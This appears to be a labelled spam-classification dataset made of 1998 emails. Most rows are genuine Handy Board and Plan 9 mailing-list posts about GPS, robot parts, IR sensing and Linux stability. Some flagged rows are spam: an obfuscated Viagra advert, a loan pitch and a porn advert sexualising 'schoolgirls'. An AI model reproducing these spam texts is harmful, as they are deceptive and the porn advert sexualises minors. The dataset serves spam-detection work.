while I haven't used it, there is a company that makes a GPS for it. I know that there are numerous real time mapping products out there already that use the PalmPilot. It sounds like your database of ""waypoints"" would consist primarily of a list of X,Y coordinates, and be limited in area, so I would think that a database on the order of a few 100,000 waypoints could be stored in a Palm III. And if you need more memory there are lots of other handheld computers out there with graphics displays. Since you are a pilot I'm sure you are familiar with GPS technology, but if you've never used one for ground based applications you might want to also research ""differential"" GPS. I would think that finding a hydrant hidden in some bushes might require some very good resolution. I've used GPS for hiking and for mapping the location of trees and plants, so I know that the real world performance of *low cost* GPS units on the ground can be very poor. Some of the toughest places for a GPS to perform are in hilly, heavily forested terrain, but also in metropolitan areas with tall buildings and lots of potential noise sources. If you're interested check out these websites: http://www.palm.com/home.html http://www.delorme.com/ Later, Rick > Your ideas sound very interesting! May I suggest that you join the > following mailing list. It's a hotbed for this sort of discussion: > > http://lcs.www.media.mit.edu/groups/el/projects/handy-board/maillist/index.html > > >Dear Professor Berg, > > > >I came across your page while searching for some information on the LEGO > >Mindstorm product I want to buy my niece. I wanted to ask for some help > >on something I’m interested in. > > > >I’ve worked both as a Professional Firefighter and Pilot. I am > >interested in applying technology to firefighting. To fight a > >structural fire pumpers need to find and connect to a fire hydrant. > >Knowing the location of the hydrant in relation to he fire building can > >be difficult at times. > > > >My idea is to combine GPS and computer technology by building an > >inexpensive hydrant finder. A GPS receiver could determine the pumpers > >exact location, then search a database for the closest waypoint > >(hydrant) near the pumper. A needle could swing to determine relative > >bearing and distance. > > > >I think all the technology exists today I’m just not sure how to go > >about putting it all together. Do you have any ideas or thoughts you > >could pass along to me about this? Thanks. > > > >Captain Jack Rutledge > >404-715-7331 ",0,1 Max Davies ,jack.rutledge@delta-air.com,"Sat, 07 Nov 1998 15:13:32 -0500",Re: Science Interest,"> >My idea is to combine GPS and computer technology by building an > >inexpensive hydrant finder. A GPS receiver could determine the pumpers > >exact location, then search a database for the closest waypoint > >(hydrant) near the pumper. A needle could swing to determine relative > >bearing and distance. This idea sounds very interesting, but I see 2 problems... First, a GPS reciever doesn't actually contain a compass, so it cannot correctly point you to another location while you are standing still. To determine what direction its facing, a GPS receiver must be MOVING. It then compares its position measurement from second to second, and using that information it knows where its heading so it can report back to you which way to turn to get to your destination. This should't be too much of a problem though, because with a good receiver once you start briskly walking in any direction the receiver will very soon sync up with your movement. When I say a ""good"" receiver I don't necessarily mean an expensive one... I chose a Garmin GPS 12 which is quite inexpensive because it offers no frills yet it has all of the basics needed for accurate position and track measurements. The second problem might be a killer for you... GPS receivers work by using signals from orbitting sattelites operated by the U.S. Departement of Defence. Although most publicly available GPS receivers are theoretically accurate to within 15 meters or better, the DOD deliberately introduces small error factors into the sattelite transmissions to reduce the accuracy to about 100 meters. This is called SA (Selective Availability) and the DOD does it to ensure that no hostile force uses the GPS system for weapons system targeting. This makes a lot of sense, but unfortunately it means that the GPS you use to try to locate your fire hydrant will randomly have an error factor of up to 100 meters, which I fear could make your system worthless. Their is a possible solution to this 2nd problem, and it's called ""Differential GPS"". To understand exactly why this is necessary and how it works, I suggest you read up on GPS fundamentals. At www.howstuffworks.com (which I urge everyone to visit, it's great) there is a very basic article on how GPS works, and it contains links to sites with more details. In particular, http://www.trimble.com/gps/howworks/aa_hw1.htm gives a superb in depth explanation of how GPS works. ",0,1 Dave Hensley ,handyboard@media.mit.edu,"Sat, 07 Nov 1998 14:12:33 -0600",RE: Some Parts,"Drew, I just got through finding all of the stuff during the last 2 weeks: B.G. Micro has the 68HC11 and the 32K static (great prices, too). Newark has the Dallas Semi voltage monitor and the TI motor drivers ($20 minimum order). One other option that I didn't look into is that Dallas Semi has a direct sales option on their web page for very small quantities. I have no idea how cost effective this is, but it may be worth while looking into if the Dallas Semi part is the only one you need from Newark. Shack has a 40KHz IR detector. Looks like different pinout, but I plan to mount on a cable, and it beats the minimum quantity 50 that Marshall is showing for the Sharp part. I substituted the Rohm 2065 LCD display (from Mouser) for the elusive Hitachi part. Mouser and Digikey have everything else, although some part numbers have changed, and you may have to substitute equivalent parts for some discontinued parts. Jameco may have better prices, but I lost patience with their web interface. Have fun! Dave > -----Original Message----- > From: wengd@optionshealthcare.com [mailto:wengd@optionshealthcare.com] > Sent: Friday, November 06, 1998 10:18 > To: handyboard@media.mit.edu > Subject: Some Parts > > > I read somewhere that someone was selling the ""hard to find parts"" of > the HB including the DS1233, HC11, motor controllers and an > LCD. I can't > find it now... does anyone know of such a thing??? It would > help. P.S. - > to anyone who is considering building a HandyBoard from a bare PC > board may I suggest simply buying a pre-built and tested > unit. There is no > cost savings really, though I built one myself mostly for the > experience of > it. -Drew > > ",0,0 Ozan Cakmakci ,"Robbie Berg , jack.rutledge@delta-air.com, Rick Moll ","Sat, 07 Nov 1998 15:24:01 +0000",Re: Science Interest," Although not sure, I think that a wearable could perform better then a palm pilot for the firefighting task. Here are some pointers: [Georgia Tech] http://wearables.gatech.edu [Media Lab] http://www.media.mit.edu/Wearables/ [UoOregon] http://www.cs.uoregon.edu/research/wearables/ [CMU] http://www.cs.cmu.edu/afs/cs.cmu.edu/project/vuman/www/home.html [UoWashington] http://www.hitl.washington.edu/projects/knowledge_base/wearable.html [UoToronto] http://hi.eecg.toronto.edu Hope it helps, Ozan ",0,1 Rajbala Makar ,handyboard@media.mit.edu,"Sat, 07 Nov 1998 18:40:34 -0500",Lasers,"Hi: Has anyone ever worked with laser beams and making handyboards recognise them? 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You know the proverb, and it's over the Council Beach and for the first time began pressing his students hauled him up by his shoulder belt and told him in precise detail just what ",1,0 """Knight, Gavin R"" ","""'handyboard@media.mit.edu'"" ","Mon, 09 Nov 1998 11:53:41 +1000",Machine vision,"Has anybody had any experience interfacing machine vision systems to a robot controlled by a handyboard? > ",0,0 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Mon, 09 Nov 1998 10:56:42 +0900",RE: [9fans] Re: DMR's OS :(,"> ""then again, cat > /dev/null is often just as good a news re>ader as any."" Plan 9 reduced much unneccessary efforts from system management and programming. Yes, I deeply agree. However, it'd be better, I think, to consider what would be her merrit for general users like me. Genral users don't care what ever the system is. They have interests only on applications. I have one point regarding its international nature from the bottom. We have to fight against old standard though. :-) Sorry of delay of response. I've just returned from Maui. Kenji ",0,0 ralph muha ,9fans@cse.psu.edu,"Sun, 08 Nov 1998 22:41:34 -0500",Re: [9fans] DMR's OS :(,">I don't see what the fuss is about. Would you rather he ran >Netscape under Linux instead of Win95? The browser and >OS will crash just as often in either case. I have to dispute that statement as strongly as possbile. I run netscape under linux and linux has never crashed on me. netscape only crashes when I have java enabled... r ",0,0 jmk@plan9.bell-labs.com,9fans@cse.psu.edu,"Sun, 08 Nov 1998 23:00:36 -0500",RE: [9fans] Re: DMR's OS :(," From: okamoto@granite.cias.osakafu-u.ac.jp ... I have one point regarding its international nature from the bottom. We have to fight against old standard though. :-) ... Could you elaborate on that a little? Thanks. --jim ",0,0 jmk@plan9.bell-labs.com,9fans@cse.psu.edu,"Sun, 08 Nov 1998 23:03:30 -0500",Re: [9fans] DMR's OS :(,From: ralph muha ... I run netscape under linux and linux has never crashed on me. netscape only crashes when I have java enabled... i first responded in this way when asked in a previous life why the emacs mode wasn't working in the korn-shell: two wrongs don't make a right. --jim,0,0 """I.ROBERTS -EN420/TEL.8526"" ",handyboard@media.mit.edu,"Mon, 09 Nov 1998 15:22:39 +1000",Teaching IC,"Does anybody know of a emulater for IC that can be used to teach IC without having the board connected? ______________________________________ Ian Roberts Mechanical & Manufacturing Engineering Swinburne University of Technology Hawthorn, Vic 3122, Australia. phone (61)(3) 92148526 Fax (61) (3) 92148264 ______________________________________ ",0,0 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Mon, 09 Nov 1998 13:48:52 +0900",RE: [9fans] Re: DMR's OS :(,"> standard though. :-) > >Could you elaborate on that a little? Thanks. For an example, Plan 9 uses Unicode to deal with many languages, and UTF-8 for its communication. I agree with those choices as a reasonable base. However, unfortunately, there have been locale standard in many advanced countries. Japan is not an exception of this. We have to communicate with many others based on those ""localed"" machines. Well, network is communication! In such a situation, we have always two choices, one is accepting the foregoing standard, which free-unices are following as, and the other is a harder way where we are now facing. Logically speaking, the latter is wright. However,... Plan 9 might be too much logical for many of general users. Furthermore, according to my understanding, those general users seem to be getting controle of the future networking environment as a large mass. It's not worthy to teach them what is better from technical point of view. For an example, if we want to use TeX( I mean Japanese version), we have to work more than those of other free-unix users. Kenji ",0,0 rob@plan9.bell-labs.com,9fans@cse.psu.edu,"Sun, 08 Nov 1998 23:58:35 -0500",Re: [9fans] DMR's OS :(,"when i was on sabbatical the university installed linux on the PC on my desk. it crashed regularly, several times a week. the netscape on it crashed at least several times as often; i never enabled java on it. everyone else in the department said that i was crazy; linux was very stable, etc. etc. they changed hardware, it made no difference. i sat down at their desks and crashed their machines, always by doing nothing more than running xterm and netscape to look at ordinary things. a friend of mine sat at my desk, typed a single url to her own perfectly sane home page, and hung the machine completely. i came to learn what stable means: linux is perfectly stable between crashes. ",0,0 Erik Theisen ,9fans@cse.psu.edu,"Mon, 09 Nov 1998 00:15:02 -0500",Re: [9fans] Nameserver Question,"On Wed 04 Nov, Michael Carmody wrote: > James A. Robinson wrote: > > > > to locate a URL that isn't a file on my local machine I get the error: > > > cs: can't translate address. > > > > Can you run ndb/dnsquery? > > > > No, this command doesn't seem to exist on the pc distribution.. > Yes it does, if you purchase the complete distribution for $350. The download/eval doesn't include it. Most things don't exist in the 4 disk set. Erik -- ""Where do WE want YOU to go today"" - Microsoft Erik Theisen Glenayre Electronics, Inc. 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(and I run much more than just netscape and xterm.) the longest continuous uptime that I recall was just over 70 days; they're in my living room so I do have to power them down every once in a while when I vacuum... current uptime stats are 1 day, 34 days and 25 days respectively. (my 56K modem card seems to get into a bad state that can only be cleared by a power cycle; hence the 1 day uptime for the first machine. just got a new modem card to replace it, with a Lucent chip, I'm sure it will work perfectly...) perhaps you were exerting a psychotronic effect on these systems that you were using? ie, your ill-will towards them caused them to crash... ;-) r ",0,0 Russell Davies ,9fans@cse.psu.edu,"Mon, 09 Nov 1998 16:52:59 +1100",Re: [9fans] DMR's OS :(,"> > i came to learn what stable means: linux is perfectly stable between crashes. > This sounds most unusual. I hardly think Linux would have enjoyed such popularity were it as prone to crashing as you suggest. I've been using linux for around 4 years, I don't think I've ever had it crash once, (although X has died a couple of times) I'm sure many others will vouch for its stability. r. ",0,0 borjam@we.lc.ehu.es,9fans@cse.psu.edu,"Mon, 09 Nov 1998 09:17:02 +0100",Re: [9fans] DMR's OS :(,"> > This sounds most unusual. I hardly think Linux would have enjoyed such > popularity were it as prone to crashing as you suggest. I've been using > linux for around 4 years, I don't think I've ever had it crash once, > (although X has died a couple of times) I'm sure many others will vouch > for its stability. I prefer FreeBSD. Both OSs are indeed very stable. If I see an unstable Linux or FreeBSD box, you can suspect of the hardware. (I'm sure you know that there are PCs that hardly work...) Borja. -- *********************************************************************** Borja Marcos * Internet: borjam@we.lc.ehu.es Alangoeta, 11 1 izq * borjamar@sarenet.es 48990 - Algorta (Vizcaya) * borjam@well.com SPAIN * CompuServe: 100015,3502 *********************************************************************** ",0,0 borjam@we.lc.ehu.es,9fans@cse.psu.edu,"Mon, 09 Nov 1998 09:21:44 +0100",Re: [9fans] DMR's OS :(,"> > when i was on sabbatical the university installed linux on the PC on my desk. > it crashed regularly, several times a week. the netscape on it crashed at least > several times as often; i never enabled java on it. everyone else in the department > said that i was crazy; linux was very stable, etc. etc. they changed hardware, > it made no difference. i sat down at their desks and crashed their machines, > always by doing nothing more than running xterm and netscape to look at > ordinary things. a friend of mine sat at my desk, typed a single url to her own > perfectly sane home page, and hung the machine completely. > I think you had a hardware problem, or you were using an experimental version. Some friends use Linux for work, as HTTP server, DNS... and I have seen uptimes in excess of months. In fact, those are their most stable machines. (The others have MS operating systems). And my experience with FreeBSD (which I prefer to Linux) has also been excellent. I have had no problems. I can recall it only crashed once, when I was trying a ""snapshot"" of a development branch. Regarding Linux, there are too many ""distributions"" and it is too chaotic. But, anyway, it works. Borja. -- *********************************************************************** Borja Marcos * Internet: borjam@we.lc.ehu.es Alangoeta, 11 1 izq * borjamar@sarenet.es 48990 - Algorta (Vizcaya) * borjam@well.com SPAIN * CompuServe: 100015,3502 *********************************************************************** ",0,0 forsyth@caldo.demon.co.uk,9fans@cse.psu.edu,"Mon, 09 Nov 1998 09:32:19 +0000",Re: [9fans] DMR's OS :(,">>This sounds most unusual. I hardly think Linux would have enjoyed such >>popularity were it as prone to crashing as you suggest. I've been using it was my impression that the most common operating system today was indeed one of the least reliable. it must be popular with someone. (i wasn't thinking of solaris, though that's a close second in the unreliability stakes, in my experience, even after applying Jumbo patches.) perhaps o/s popularity increases with instability (much like politicians). i can't comment about linux: i installed it several times (until i got one that worked) but then found i had no reason ever to run it, so i turned the disc into a paging file to get some work out of it. anecdotal experience doesn't seem to me to settle the matter, and i think this is all irrelevant in the context of the original message: surely someone (even dmr) can run what he likes on a `personal' computer? ",0,0 wengd@optionshealthcare.com,"handyboard@media.mit.edu, Gavin.Knight@sbcl.com.au","Mon, 09 Nov 1998 09:31:08 -0500",Machine vision -Reply,">>> ""Gavin.Knight@sbcl.com.au"" 11/08/98 09:04pm >>> Has anybody had any experience interfacing machine vision systems to a robot controlled by a handyboard? The German company Joker Robotics does something using a QuickCam style camera interfacing an HC11 board robot. I think they use the Mobile Robot board and they don't use a frame grabber so I'm not sure what the system is actually capable of although they show a hexapod robot with a quickcam head that certainly LOOKS cool. I don't have the web address but they are easy to find. -Drew ",0,0 Nibori Ambrosino ,handyboard@media.mit.edu,"Mon, 09 Nov 1998 03:32:24 -0700",Re: your VtAeGRA,"Hi X A P V C L V a m r A I e I n b o L A v A a i z I L i G x e a U I t R n c M S ra A http://www.polizuires.com theirs, in spite of their plight and the still unconquered dragon) would suffer seriously if the Wood-elves claimed part of it, and they all trusted Bilbo. Just what Gandalf had said would happen, you see. Perhaps that war part of his reason for going off and leaving them. Bilbo, however, did not feel nearly so hopeful as they did. He did not like being depended on by everyone, and he wished he had the wizard ",1,1 rob@plan9.bell-labs.com,9fans@cse.psu.edu,"Mon, 09 Nov 1998 11:57:45 -0500",Re: [9fans] DMR's OS :(,"Everyone seems to perceive some psychic effect or bad hardware. It wasn't the hardware; we replaced that once to no avail and I could crash others' machines that were otherwise stable just by using them for a few minutes. The anti-Midas touch, I guess. I guarantee it wasn't psychic. But I should add that around here, we have also seen much Linux instability. I suspect that, like most systems including ones I have built, Linux is stable until it gets used in a new way, usually by a new user. Even so, the claims of Linux's perfection seem untenable given my experiences with it in several versions on a variety of hardware. And that is my last word on the subject here; this is 9fans. -rob ",0,0 Digby Tarvin ,9fans@cse.psu.edu,"Mon, 09 Nov 1998 19:32:52 +0000",Re: [9fans] DMR's OS :(,"> >But I should add that around here, we have also seen much Linux >instability. I suspect that, like most systems including ones I have built, >Linux is stable until it gets used in a new way, usually by a new >user. Even so, the claims of Linux's perfection seem untenable >given my experiences with it in several versions on a variety of >hardware. > >And that is my last word on the subject here; this is 9fans. > I don't see anything surprising here. If you are coming from Plan9, your expectations are high and Linux seems flakey. If, like a majority of Linux users, you are a Windows refugee, two commands in a row without a crash and you are ecstatic. My impression is that the BSD derivatives are a little more stable because they are more conservative. Linux has a somewhat more adventurous, bohemian development philosophy, for which there is a slight robustness penalty. Even so, I can believe that many people use it for years without ever seeing a problem. The only mystery is why Rob would have let someone load a clone of an ancient Bell Labs operating system on his PC in the first place :-) Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 """James A. Robinson"" ",Plan 9 Mailing List <9fans@cse.psu.edu>,"Mon, 09 Nov 1998 12:13:00 -0800",[9fans] Re: Anonimity (Was: SCSI woes.) ,"> > No, we are a society of nameless faceless individuals. > > #6 > > Nopes, my Plan 9 CD-ROM claims to have pictures of you all. Nary a name > in sight though :-) Check out http://plan9.bell-labs.com/cm/cs/picdir.html. jmk is Jim McKie. Jim ",0,1 Rajbala Makar ,handyboard@media.mit.edu,"Mon, 09 Nov 1998 15:32:49 -0500",IR output connection,"Hi All: With a lot of help from you all , I am finally able to send out a modulated signal from one HB which the other can recognize. :) Now I am trying out obstacle avoidance using the IR. I tried to use the standard ir_detect() function with the library. But I could not get the LED to transmit anything. My guess is that my connections for the left and right ir output LED's are not correct ( I connected them to J6). And I could not understand where is the PE4 and do I have to connect a detector to it or the Sharp chip is enough ( J7 ) So could someone explain the J6 connections to me properly? I mean, how to make it into outputs? Another question , has anyone done range detection using IR? I mean, the distance to the obstacle, depending on the intensity if the beam? Thanks again. Rajbala ",0,0 borjam@we.lc.ehu.es,9fans@cse.psu.edu,"Mon, 09 Nov 1998 22:10:20 +0100",Re: [9fans] DMR's OS :(,"> > And that is my last word on the subject here; this is 9fans. Sorry, I didn't want to start a flame war, and I'm really interested on Plan 9 (I bought a license myself!) :-) Borja. -- *********************************************************************** Borja Marcos * Internet: borjam@we.lc.ehu.es Alangoeta, 11 1 izq * borjamar@sarenet.es 48990 - Algorta (Vizcaya) * borjam@well.com SPAIN * CompuServe: 100015,3502 *********************************************************************** ",0,0 Brandon G Feder ,9fans@cse.psu.edu,"Mon, 09 Nov 1998 14:01:03 -0500",we will help,"We WILL lend you the money you need We have special arrangements with dozens of top lenders. Some of them specialise in cases where the homeowner has no proof of income or negative equity. Some of them do not care about arrears and poor credit ratings Some of them offer stunning rates as low as 3.75%, and offer loans of over $2,000,000 Some of them offer relief loans of as little as $20,000 to give you room to breathe! You could pay for a car or go on holiday as well! We will do the searching for you, use our special arrangements with lenders to find you the loan that YOU need. Give us your details and we will have them contact you with *no* obligation. You will be contacted by up to three lenders within the next 72 hours, at the time and number that you specify. We can call you at home or at work, and you tell us when. We can help. http://jojofila.masun.hqqg.com/approved/ taze bacokcyzi cuka ",1,1 ralph muha ,9fans@cse.psu.edu,"Mon, 09 Nov 1998 21:19:27 -0500",Re: [9fans] DMR's OS :(,">The only mystery is why Rob would have let someone load a clone >of an ancient Bell Labs operating system on his PC in the ancient? I think 'venerable' would be a better choice of adjective... ;-) r ",0,0 """James A. Robinson"" ",Plan 9 Mailing List <9fans@cse.psu.edu>,"Mon, 09 Nov 1998 19:41:15 -0800",Re: [9fans] Re: Anonimity (Was: SCSI woes.) ,"On Mon, 09 Nov 1998 12:13:00 -0800 I wrote: < Check out http://plan9.bell-labs.com/cm/cs/picdir.html. jmk is Jim McKie. Someone pointed out that I had been responding to an ancient message. That confused me, since it was marked as an unseen message in my inbox. I think what happened is my auto-indexing auto-filing script must have gotten confused and popped it in there -- I don't see any indication that anybody else got that message! Sorry for the confusion! Jim",0,1 ralph muha ,9fans@cse.psu.edu,"Mon, 09 Nov 1998 22:43:03 -0500",Re: [9fans] DMR's OS :(,">If, like a majority of Linux users, you are a Windows refugee, >two commands in a row without a crash and you are ecstatic. well, I wasn't going to post any more on this subject, however, I just ran across a website (http://ufo.its.kun.nl/uptime/) that tracks server uptimes. number one on the list is PenguinMail, an i586 running Linux 2.0.30. it has been up continuously for 359 days. (I guess they don't have to power down when they vacuum...) r ",0,1 presotto@plan9.bell-labs.com,9fans@cse.psu.edu,"Mon, 09 Nov 1998 23:05:16 -0500",Re: [9fans] DMR's OS :(,"My palm pilot has been up for 2 years without a crash. It did flake out 2 years ago when I let the batteries run down though. ",0,0 ralph muha ,9fans@cse.psu.edu,"Mon, 09 Nov 1998 23:22:42 -0500",Re: [9fans] DMR's OS :(,">My palm pilot has been up for 2 years without a crash. It did >flake out 2 years ago when I let the batteries run down though. you mean you didn't just throw it away and buy a new one? r ",0,0 jmk@plan9.bell-labs.com,9fans@cse.psu.edu,"Mon, 09 Nov 1998 23:26:20 -0500",Re: [9fans] DMR's OS :(," >>My palm pilot has been up for 2 years without a crash. It did >>flake out 2 years ago when I let the batteries run down though. >you mean you didn't just throw it away and buy a new one? >r Please, enough! Don't give Dave ideas about throwing things. ",0,0 presotto@plan9.bell-labs.com,9fans@cse.psu.edu,"Mon, 09 Nov 1998 23:44:25 -0500",Re: [9fans] DMR's OS :(,"I have to now, it didn't survive my last flight, the circuit board flexed a bit too much. However, the OS is still working, it just doesn't drive most of the display anymore. ------ forwarded message follows ------ >From cse.psu.edu!owner-9fans Mon Nov 9 23:24:01 EST 1998 Received: from plan9.bell-labs.com ([135.104.9.2]) by plan9; Mon Nov 9 23:24:01 EST 1998 Received: from cse.psu.edu ([130.203.3.50]) by plan9; Mon Nov 9 23:23:40 EST 1998 Received: from localhost (majordom@localhost) by cse.psu.edu (8.8.8/8.8.8) with SMTP id XAA04812; Mon, 9 Nov 1998 23:23:24 -0500 (EST) Received: by claven.cse.psu.edu (bulk_mailer v1.5); Mon, 9 Nov 1998 23:23:14 -0500 Received: (from majordom@localhost) by cse.psu.edu (8.8.8/8.8.8) id XAA04773 for 9fans-outgoing; Mon, 9 Nov 1998 23:23:10 -0500 (EST) X-Authentication-Warning: claven.cse.psu.edu: majordom set sender to owner-9fans using -f Received: from gateway.minimal.com (root@gateway.minimal.com [206.243.174.17]) by cse.psu.edu (8.8.8/8.8.8) with ESMTP id XAA04764 for <9fans@cse.psu.edu>; Mon, 9 Nov 1998 23:22:54 -0500 (EST) Received: from [206.243.174.23] (zorak.minimal.com [206.243.174.23]) by gateway.minimal.com (8.8.8/8.8.5) with ESMTP id XAA07354 for <9fans@cse.psu.edu>; Mon, 9 Nov 1998 23:22:40 -0500 X-Sender: rmuha@mail Message-Id: In-Reply-To: <199811100406.XAA04307@cse.psu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Mon, 9 Nov 1998 23:22:42 -0500 To: 9fans@cse.psu.edu From: ralph muha Subject: Re: [9fans] DMR's OS :( Sender: owner-9fans@cse.psu.edu Reply-To: 9fans@cse.psu.edu Precedence: bulk >My palm pilot has been up for 2 years without a crash. It did >flake out 2 years ago when I let the batteries run down though. you mean you didn't just throw it away and buy a new one? r",0,0 """James A. Robinson"" ",9fans@cse.psu.edu,"Mon, 09 Nov 1998 21:13:30 -0800",Re: [9fans] DMR's OS :( ,"> I have to now, it didn't survive my last flight, the circuit > board flexed a bit too much. However, the OS is still working, > it just doesn't drive most of the display anymore. Since there is Linux for the pilot, is there going to be Inferno for the pilot? :P Jim ",0,0 okamoto@granite.cias.osakafu-u.ac.jp,9fans@cse.psu.edu,"Tue, 10 Nov 1998 14:49:46 +0900",Re: [9fans] DMR's OS :( ,">Since there is Linux for the pilot, is there going to be Inferno >for the pilot? :P What is the merrit to have Inferno on note PC? I have no idea on Inferno though. ;_; Kenji ",0,0 """James A. Robinson"" ",9fans@cse.psu.edu,"Mon, 09 Nov 1998 23:09:58 -0800",Re: [9fans] DMR's OS :( ,"> What is the merrit to have Inferno on note PC? >From what I've read, inferno has the same namespace coolness that Plan9/Brazil has. Think about how nice that would be for a hand-held. Instead of needing to squeeze apps into the tiny 1-4mb memory-storage on a pilot (or spending big bucks to get an 8mb chip), you could have all the storage be on a ""pilot-server"" sitting on a computer with a real harddrive. o No more worries about backing up the pilot o Almost automatic groupware funcionality o You could ""download"" software to the pilot (in reality, your harddisk) via your computer's network connection -- instant install without the need for serial-cable downloads. o No more need to hotsync between your PC and your pilot. both apps read the same files! o Pilot hardware can be dedicated more toward to screen i/o, and cache. o Having the equiv of /bin/cpu would be nice! They have tiny ricochet modems (wireless PPP-capable modems) that are about the size of the pilot. *I* think it would be cool. :) > I have no idea on Inferno though. ;_; http://www.lucent-inferno.com/Pages/Developers/Documentation/White_Papers/ Jim ",0,1 John Hatton ,"'Rajbala Makar' , 'Handyboard Mailing List' ","Tue, 10 Nov 1998 09:01:25 -0000",RE: IR output connection,"Using a 'hacked' GPIU58X (see Novasoft website for acrobat file describing changes required) you can get an analogue reading relating to the distance from an object. The transmitting LED has to be modulated at the correct frequency and should be mounted with the HB. The acrobat file list the possible ranges as 0.5 to 44 inches, but this does require some extra software control. I haven't tried this myself but I intend to in the near future. Hope this helps. John mailto:john_hatton@bigfoot.com >---------- >From: Rajbala Makar[SMTP:makarraj@cse.msu.edu] >Sent: 09 November 1998 20:32 >To: handyboard@media.mit.edu >Subject: IR output connection > >Hi All: > >With a lot of help from you all , I am finally able to send out >a modulated signal from one HB which the other can recognize. :) >Now I am trying out obstacle avoidance using the IR. I tried to use >the standard ir_detect() function with the library. But I could not >get the LED to transmit anything. My guess is that my connections for >the left and right ir output LED's are not correct ( I connected them to >J6). And I could not understand where is the PE4 and do I have to connect >a detector to it or the Sharp chip is enough ( J7 ) > >So could someone explain the J6 connections to me properly? I mean, how to >make >it into outputs? > >Another question , has anyone done range detection using IR? I mean, the >distance to the obstacle, depending on the intensity if the beam? > >Thanks again. > >Rajbala > > > > ",0,0 Jerri Aguirre ,handyboard@media.mit.edu,"Tue, 10 Nov 1998 13:44:40 -0700",Do you want ravishing virginn Schoolgirls?," well-favored Young Bitches so killing and younng. http://voscheetomx.info/fpafporn.htm?iSPhfd.fX,hj Delette http://voscheetomx.info ",1,1 r.farnhill@bssl.co.uk,'John Hatton' ,"Tue, 10 Nov 1998 09:36:17 -0000",RE: IR output connection,"Hi John, Just read your message about IR ranging. Do you have a site address as I can't seem to find the site using a web search, also what is the usual working range for standard IR collision detection as I have been looking through some catalogs and they all have a couple of cm at best, even IR proximity switches only go up to 5-10 cm and these are seriously expensive. cheers Russ..... -----Original Message----- From: John Hatton [mailto:JohnHa@icsplc.co.uk] Sent: Tuesday, November 10, 1998 9:01 AM To: 'Rajbala Makar'; 'Handyboard Mailing List' Subject: RE: IR output connection Using a 'hacked' GPIU58X (see Novasoft website for acrobat file describing changes required) you can get an analogue reading relating to the distance from an object. The transmitting LED has to be modulated at the correct frequency and should be mounted with the HB. The acrobat file list the possible ranges as 0.5 to 44 inches, but this does require some extra software control. I haven't tried this myself but I intend to in the near future. Hope this helps. John mailto:john_hatton@bigfoot.com >---------- >From: Rajbala Makar[SMTP:makarraj@cse.msu.edu] >Sent: 09 November 1998 20:32 >To: handyboard@media.mit.edu >Subject: IR output connection > >Hi All: > >With a lot of help from you all , I am finally able to send out >a modulated signal from one HB which the other can recognize. :) >Now I am trying out obstacle avoidance using the IR. I tried to use >the standard ir_detect() function with the library. But I could not >get the LED to transmit anything. My guess is that my connections for >the left and right ir output LED's are not correct ( I connected them to >J6). And I could not understand where is the PE4 and do I have to connect >a detector to it or the Sharp chip is enough ( J7 ) > >So could someone explain the J6 connections to me properly? I mean, how to >make >it into outputs? > >Another question , has anyone done range detection using IR? I mean, the >distance to the obstacle, depending on the intensity if the beam? > >Thanks again. > >Rajbala > > > > ",0,0 John Hatton ,"""'r.farnhill@bssl.co.uk'"" , 'Handyboard Mailing List' ","Tue, 10 Nov 1998 09:49:17 -0000",RE: IR output connection,"The GPIU58X is not an IR proximity switch but the hack provides an analogue level relating to the intensity of the received signal. Novasoft also sell the IR receivers (it's where I got mine from and I'm based in the UK). The address of Novasoft is : http://www.mil.ufl.edu/novasoft/ As an extra piece of information, I remember somebody recently mentioning the video capture used by Joker Robotics in Germany. When I last checked their site (which was a fair time ago) the Quickcam robot was actually using a 68000 based board mounted on a Hexapod chassis. Their address is : http://www.joker-robotics.com/ Hope this helps. John Hatton mailto:john_hatton@bigfoot.com >---------- >From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] >Sent: 10 November 1998 09:36 >To: John Hatton >Cc: handyboard@media.mit.edu >Subject: RE: IR output connection > >Hi John, > >Just read your message about IR ranging. Do you have a site address as I >can't seem to find the site using a web search, >also what is the usual working range for standard IR collision detection as >I have been looking through some catalogs and they all have a couple of cm >at best, even IR proximity switches only go up to 5-10 cm and these are >seriously expensive. > >cheers Russ..... > > > > >-----Original Message----- >From: John Hatton [mailto:JohnHa@icsplc.co.uk] >Sent: Tuesday, November 10, 1998 9:01 AM >To: 'Rajbala Makar'; 'Handyboard Mailing List' >Subject: RE: IR output connection > > >Using a 'hacked' GPIU58X (see Novasoft website for acrobat file >describing changes required) you can get an analogue reading relating to >the distance from an object. The transmitting LED has to be modulated at >the correct frequency and should be mounted with the HB. The acrobat >file list the possible ranges as 0.5 to 44 inches, but this does require >some extra software control. >I haven't tried this myself but I intend to in the near future. > >Hope this helps. > >John >mailto:john_hatton@bigfoot.com > ",0,1 """Douglas A. Gwyn"" ",9fans@cse.psu.edu,"Mon, 09 Nov 1998 23:01:09 +0000",Re: [9fans] DMR's OS :(,"I suspect that, like me, Dennis uses the right tool for the job. Plan 9 is wonderful, but it isn't supported by commercial apps. There is no way that a small development team can provide all the useful apps that one can obtain (free or cheaply) for the Windows environment. For example, I require Photoshop, S-Plus, and Mathematica or some close equivalent, but there is (to my knowledge) no close equivalent available on Plan 9. Consequently, my own PC can be booted into Windows 95, NT, Plan 9, or Solaris, all with C/C++ development environments, and hosts Inferno and Java Workshop as well. I get to choose the most appropriate environment for whatever I need to do. ",0,0 Nigel Roles ,"""'9fans@cse.psu.edu'"" <9fans@cse.psu.edu>","Tue, 10 Nov 1998 10:18:35 -0000",RE: [9fans] DMR's OS :(,"Well put. It's disappointing that this needed to be said, since I would have thought it was self-evident. Let's get back to the jokes. -----Original Message----- From: Douglas A. Gwyn [mailto:DAGwyn@null.net] Sent: Monday, November 09, 1998 11:01 PM To: 9fans@cse.psu.edu Subject: Re: [9fans] DMR's OS :( I suspect that, like me, Dennis uses the right tool for the job. Plan 9 is wonderful, but it isn't supported by commercial apps. There is no way that a small development team can provide all the useful apps that one can obtain (free or cheaply) for the Windows environment. For example, I require Photoshop, S-Plus, and Mathematica or some close equivalent, but there is (to my knowledge) no close equivalent available on Plan 9. Consequently, my own PC can be booted into Windows 95, NT, Plan 9, or Solaris, all with C/C++ development environments, and hosts Inferno and Java Workshop as well. I get to choose the most appropriate 